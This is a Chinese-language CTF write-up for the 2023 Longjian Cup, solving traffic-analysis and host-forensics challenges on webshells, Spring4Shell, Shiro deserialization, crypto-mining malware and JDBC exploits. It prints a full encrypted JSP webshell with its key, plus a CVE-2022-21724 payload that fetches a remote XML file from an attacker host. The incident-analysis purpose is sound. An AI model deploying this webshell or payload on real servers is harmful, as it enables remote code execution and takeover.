2023陇剑杯wp

前言

之前还在学校的时候打陇剑杯,因为队里的Misc方向几乎都是@Nerisa大哥在做,所以在学校里蓝帽杯和陇剑杯经常被我们叫做Nerisa杯。今年我是在某银行参加的,其实流量分析也还是比较实用的技能。

hard_web

1.服务器开放了哪些端口

1
tcp.flags.syn==1&&tcp.flags.ack==1

也就是80,888,8888

image-20230826183906958

2.服务器中根目录下的flag值是多少?

冰蝎流量,首先跳到第三题,找到哥斯拉连接的马,AES的key是748007e861908c03。赛后参考了冰蝎和哥斯拉流量分析这篇文章,把其中一段/shell.jsp流量的response用CyberChief试了一下:

1
2
3
From_Hex('Auto')
AES_Decrypt({'option':'UTF8','string':'748007e861908c03'},{'option':'Hex','string':''},'ECB','Raw','Raw',{'option':'Hex','string':''},{'option':'Hex','string':''})
Gunzip()

然后就有flag了:

image-20230827002831735

3.该webshell的连接密码是多少?

先看http协议且请求方法为POST的报文:http.request.method=="POST"

可以找到请求的路径为shell.jsp

image-20230826184501903

再回溯shell.jsp的流量,http contains "shell.jsp"

image-20230826184849166刚好这个test.jsp去读取了shell.jsp

<%! String xc="748007e861908c03"; class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }}%><%try{byte[] data=new byte[Integer.parseInt(request.getHeader("Content-Length"))];java.io.InputStream inputStream= request.getInputStream();int _num=0;while ((_num+=inputStream.read(data,_num,data.length))<data.length);data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters", data);Object f=((Class)session.getAttribute("payload")).newInstance();java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();f.equals(arrOut);f.equals(pageContext);f.toString();response.getOutputStream().write(x(arrOut.toByteArray(), true));} }catch (Exception e){}%>

是冰蝎或者哥斯拉的马,在cmd5反查748007e861908c03就是密码:14mk3y

sevrer save

1. 黑客是使用什么漏洞来拿下root权限的

http.request.method=="POST"过滤,为数不多的POST流量里面有一段spring4shell:

image-20230826185615475

CVE编号对应CVE-2022-22965

2. 黑客反弹shell的ip和端口是什么

tcp contains "/bin"过滤一下:

image-20230826185827167

3. 黑客的病毒名称是什么

do文件夹中按创建日期排序,最晚的是/home/guests/main非常可疑:

image-20230826190343482

4. 黑客的病毒运行后创建了什么用户

image-20230826190544052

这个ll用户的suid为0,相当于有root的权限,密码直接就是明文的123456,非常可疑,肯定是黑客创建的。

5. 服务器在被入侵时外网ip是多少

cat home/guests.log.txt

image-20230826191559176

6. 病毒运行后释放了什么文件

这几个应该都是挖矿用的,试了下是lolMiner,minedoge.sh

image-20230826191945114

7. 矿池地址是什么

cat .idea/mine_doge.sh

image-20230826192419402

矿池地址为POOL,钱包地址为WALLET

Wireshark1

首先分析了一下都是TCP流量,没有HTTP

1. 被入侵主机的IP是

流量里面有比较多的Telnet流量,目的地址是192.168.246.28

image-20230826193010008

2. 被入侵主机的口令是

youcannevergetthis

image-20230826193105874

3. 用户目录下第二个文件夹的名称是

Downloads

image-20230826193219242

4. /etc/passwd中倒数第二个用户的用户名是

mysql

image-20230826193311475

IncidentResponse

是一个虚拟机取证题,给了一个虚拟机,打开后通过root/IncidentResponsePasswd连接,我做这道题的顺序不是从第一题开始做的,首先上去看了一下ps -ef,主要发现了nginx、java、redis、mysql,本来没有觉得有什么可疑的,看了下nginx的日志,/var/log/nginx下的文件,定位到了攻击者IP还有UA。java程序执行的是/home/app下的一个jar包,去这个目录下面看刚好有个nohup.log分析了一下有一些shiro的报错,确定是shiro反序列化打进来的。在之后就没有思路了,于是去看了下redis的配置文件,往下翻发现一个钱包地址,于是就懂了,是伪装成redis的挖矿病毒,挖矿连接的矿池域名和挖矿程序路径也都有了。两种权限维持手段,看了下pstree发现都是systemd启动的,那么就去找redis的systemd的配置文件,而另一个是伪装的redis的配置文件

1. 挖矿程序所在路径是

/etc/redis/redis-server

2. 挖矿程序连接的矿池域名是

donate.v2.xmrig.com

3. 攻击者入侵服务器的利用的方法是

shirodeserialization

4. 攻击者的IP是

81.70.166.3

5. 攻击者发起攻击时使用的User-Agent是

这题比较抽象,UA有好几个不同的,试了都不对,还把答题次数耗尽了

6. 攻击者使用了两种权限维持手段,相应的配置文件路径是

/lib/systemd/system/redis.service/etc/redis/redis.conf

SmallSword

1. 连接蚁剑的正确密码是

http.request.method=="POST"找到/sqlii/Less-7/info1.php有一些可疑的流量:

image-20230826211953116

所以密码是6ea280898e404bfabd0ebb702327b19f

2. 攻击者留存的值是

其中一个报文有一段base64,解码之后刚好是ad6269b7-3ce2-4ae8-b97f-f259515e7a91,和题目中的格式差不多,交上去就对了:

image-20230826212344560

3. 攻击者下载到的flag是

在其中一个包中攻击者下载了huorong.exe,把response给导出来,然后删掉前面多余的部分,后面就是PE文件头了:

image-20230827173639779

然后很明显是一个pyinstaller打包的exe文件,拿pyinstxtractor还原一下:

image-20230827174234562

反编译pyc得到一堆十六进制数据:

image-20230827174404506然后这堆十六进制数据解开是一张图片,有一个很明显的PNG头,打开之后没啥重要的信息,通过修改高度获取flag:

image-20230827180624824

ez_web

1. 服务器自带的后门文件名

还是先过滤POST,http.request.method=="POST"

image-20230826195225542

第一个利用后门的请求是ViewMore.php,所以自带的后门就是这个文件

2. 服务器的内网IP是多少

在下面一堆d00r.php的请求里找到了这一段:

image-20230826195402074

3. 攻击者往服务器中写入的key是什么

这个请求用file_put_content写入了一段base64解码的东西

image-20230826195534439

解码之后前两位是PK,那么肯定是压缩包,把它提取出来:

image-20230826195729931

而password在前面对报文里面:

image-20230826200032709

解压出来就是key

tcpdump

1. 攻击者通过暴力破解进入了某Wiki 文档,请给出登录的用户名与密码

http.request.method=="POST"过滤POST报文,找到大量的访问/login的请求,是对密码进行爆破:

image-20230826200327091

由于想到登陆成功会有Set-Cookie字段,所以过滤Set-Cookietcp contains "Set-Cookie",追踪HTTP流发现一段报文返回200:

image-20230826200616841

账号密码就是TMjpxFGQwD:123457

2. 攻击者发现软件存在越权漏洞,请给出攻击者越权使用的cookie的内容的md5值

由于成功之后的Cookie有accessToken特征,所以搜accessTokenhttp contains "accessToken"找到一堆报文,追踪它,在某个接口下,userid=2

image-20230826201335791

而在后面的报文里将userid改为了1,也查到了数据,所以就是越权漏洞了

image-20230826201407040

这里提交的就是accessToken=f412d3a0378d42439ee016b06ef3330c; zyplayertoken=f412d3a0378d42439ee016b06ef3330cQzw=; userid=1的md5

3. 攻击使用jdbc漏洞读取了应用配置文件,给出配置中的数据库账号密码

使用tcp contains "jdbc:"过滤jdbc关键字,获取到攻击者的服务器IP:

image-20230826201705555

ip.dst_host==116.62.63.234过滤发往116.62.63.234的流量,在其中找到账号密码:

image-20230826201829928

4. 攻击者又使用了CVE漏洞攻击应用,执行系统命令,请给出此CVE编号以及远程EXP的文件名

刚刚通过tcp contains "jdbc:"找到的报文中有payload:

1
name=test&driverClassName=org.postgresql.Driver&sourceUrl=jdbc:postgresql://127.0.0.1:5432/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://116.62.63.234:9988/custom.dtd.xml&sourceName=root&sourcePassword=root&groupName=

通过Google搜关键字org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg找到CVE-2022-21724漏洞,而payload中也有文件名为custom.dtd.xml

5. 给出攻击者获取系统权限后,下载的工具的名称

http contains "/custom.dtd.xml"过滤包含custom.dtd.xml的报文,找到请求http://116.62.63.234:9988/custom.dtd.xml的报文:

image-20230826202715706

反弹shell,且ip为116.62.63.234,端口为9999,通过ip.dst_host==116.62.63.234找目的地址为116.62.63.234且端口为9999的TCP流量:

image-20230826202934126

工具是fscan

hacked

1. admIn用户的密码是什么?

首先拿到的是一段flask的流量,过滤登录请求,http.request.method=="POST"

image-20230828125501195

应该是有加密的,毕竟base64解码之后username也不是admIn,之后拿http.response.code==200过滤响应为200的返回包,找到登陆的逻辑:

image-20230828125756861

之后把刚刚的账号密码拿去CyberChef解码:

image-20230828130241773

得到账号密码admIn:flag{WelC0m5_TO_H3re}

2. app.config['SECRET_KEY']值为多少?

tcp contains "KEY",然后在为数不多的HTTP报文中找到SECRET_KEY

image-20230826203211581

3. flask网站由哪个用户启动?

flask流量后续是拿到了secretkey之后伪造session进行ssti,通过http contains ".eJ"过滤session,在其中一段requestresponse中找到:这些:

image-20230828131914734

大概是说执行whoami命令,把返回结果更新到session中的flag字段,这个flag的结果就是用户名red

4. 攻击者写入的内存马的路由名叫什么?

/Index最可疑,必是内存马,往前面找找也能找到一段注入内存马的session:

image-20230828132425417

updatedupdated2023-08-272023-08-27